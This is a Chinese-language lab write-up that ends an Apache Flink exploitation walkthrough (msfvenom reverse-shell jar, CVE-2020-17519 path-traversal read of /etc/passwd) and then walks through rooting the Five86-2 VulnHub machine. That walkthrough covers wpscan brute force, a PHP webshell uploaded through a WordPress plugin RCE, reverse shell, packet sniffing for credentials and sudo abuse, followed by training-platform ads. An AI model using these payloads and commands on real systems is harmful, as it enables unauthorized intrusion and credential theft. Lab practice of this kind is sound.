查看文件是否上传成功
docker ps查看容器
进入容器
docker exec -it CONTAINER ID /bin/bash
可以看到文件成功上传
flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell
生成jar格式的马
lhost为kali的ip,lport为kali接收shell的端口
msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar
启动msf接收shell
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.74.142
set LPORT 1234
exploit
将jar包上传后点击上传的包然后Submit
获取到shell
任意文件读取(CVE-2020-17519)复现:
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。
比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码
192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
漏洞修复
官方已发布安全版本,请及时下载升级至安全版本。
https://flink.apache.org/zh/downloads.html 参考链接
https://github.com/vulhub/vulhub/tree/master/flinkhttps://www.anquanke.com/post/id/227668 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Five86-2靶机渗透实战
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>>
靶机地址:http://www.vulnhub.com/entry/five86-2,418/
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001相关实验:https://www.yijinglab.com/expc.do?ec=ECIDdb58-4b9d-427b-b7b3-8382c7e0a7f5 (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag)
技术点总结
• 对WordPress网站的渗透
– https://www.freebuf.com/sectool/174663.html
• WordPress中IEAC插件的RCE漏洞
– https://www.freebuf.com/vuls/205735.html
• tcpdump的使用
– https://www.cnblogs.com/lvdongjie/p/10911564.html
目标发现
nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.6
nmap -A 192.168.56.6 -p- 可以看到目标主机的一些信息,-A 是进行操作系统指纹和版本检测,-p- 是全端口
开放了 22、21、80 端口,并且 80 端口是WordPress 5.1.4的CMS
这里最好提前在/etc/hosts中加上192.168.56.6 five86-2这一条,因为后面访问wordpress的后台wp-admin时会跳转到到这个域名
漏洞发现与利用
在searchsploit和Google并没有发现WordPress 5.1.4的漏洞,可以用wpscan扫描一下这个URL。wpscan是一款针对WordPress的扫描器,详细的使用可以参考https://www.freebuf.com/sectool/174663.html。
默认扫描会返回目标站点的中间件、XML-RPC、readme文件、上传路径、WP-Corn、版本、主题、所有的插件和备份文件。
命令wpscan -u http://192.168.56.6/
这里并没有发现很有用的信息,考虑去枚举用户名,然后配合rockyou.txt去爆破密码。爆破用户名命令wpscan --url http://192.168.56.6/ --enumerate u,发现了5个用户
peteradminbarneygillianstephen
爆破密码命令wpscan --url http://192.168.56.6/ -U user.txt -P /usr/share/wordlists/rockyou.txt
最终爆破出来两个结果
Username: barney, Password: spooky1Username: stephen, Password: apollo1
使用barney登录后台http://five86-2/wp-admin/,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC)
Akismet Anti-Spam Version 4.1.1Hello Dolly Version 1.7.1IEAC Version 4.2995
在谷歌上搜索一下,不难搜到这个插件的RCE:https://www.freebuf.com/vuls/205735.html,在https://www.exploit-db.com/exploits/46981上也有
先生成poc.zip,
echo "hello" > index.htmlecho "<?php echo system($_GET['cmd']); ?>" > index.phpzip poc.zip index.html index.php
然后登录wordpress后台,选择新建文章
选择添加区块
选择E-Learning
上传poc.zip
选择Insert As iFrame
可以看到上传的位置,也就是说上次的shell位置为http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php
测试shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami这就拿到了shell
使用php-reverse-shell去反弹shell,访问http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php就可以看到反弹的shell,还不是TTY,接下来就想办法变成TTY吧
ls /home发现有8个目录,刚刚爆破来两个密码,一个登陆了后台,还有一个没有测试,并且两个都在这8个用户里面。可以先试试su barney,密码填spooky1,发现失败,再试试stephen,密码apollo1。这里的shell不知道为什么没有前面的$了,但是可以用
实际上,这里的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'变成TTY,这样可能更方便一些
然后再sudo -l发现需要密码,并且不是spooky1,所以还是su stephen吧,发现stephen在一个名为pcap的用户组中(pcap不是流量包吗^_^)
然后sudo -l发现无法执行sudo
回到pcap那里,流量包是不是意味着流量分析,尝试ifconfig发现没有这个命令,但是可以使用ip add,发现目前运行着几个网络接口
这里的最后一个接口好像是动态的,每次都不一样,可以使用tcpdump -D列出可用于抓包的接口。这里选择把后面两个抓下来,因为不怎么常见。抓包命令为timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分钟,-w是将结果输出到文件,-i是指定监听端口
可以去分析一下这两个流量包,命令tcpdump -r 1.pcap,这里-r是从给定的流量包读取数据,不难发现paul用户FTP的密码esomepasswford。后面2.pcap与1.pcap内容相同。
接着su paul,用上面的那个密码发现可以登陆。尝试sudo -l发现stephen可以使用peter的service命令
那不就可以直接执行peter的/bin/bash了吗。命令sudo -u peter service /bin/bash。这里要注意一下目录的问题,用相对目录找到/bin/bash的位置
获取peter的权限后,还是先sudo -l,发现他可以运行root用户的passwd命令,这我直接修改root的密码不就获取root权限了吗
是时候表演真正的技术了。sudo -u root passwd root(强迫症,全文一致),用sudo passwd root一样的
找到flag
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

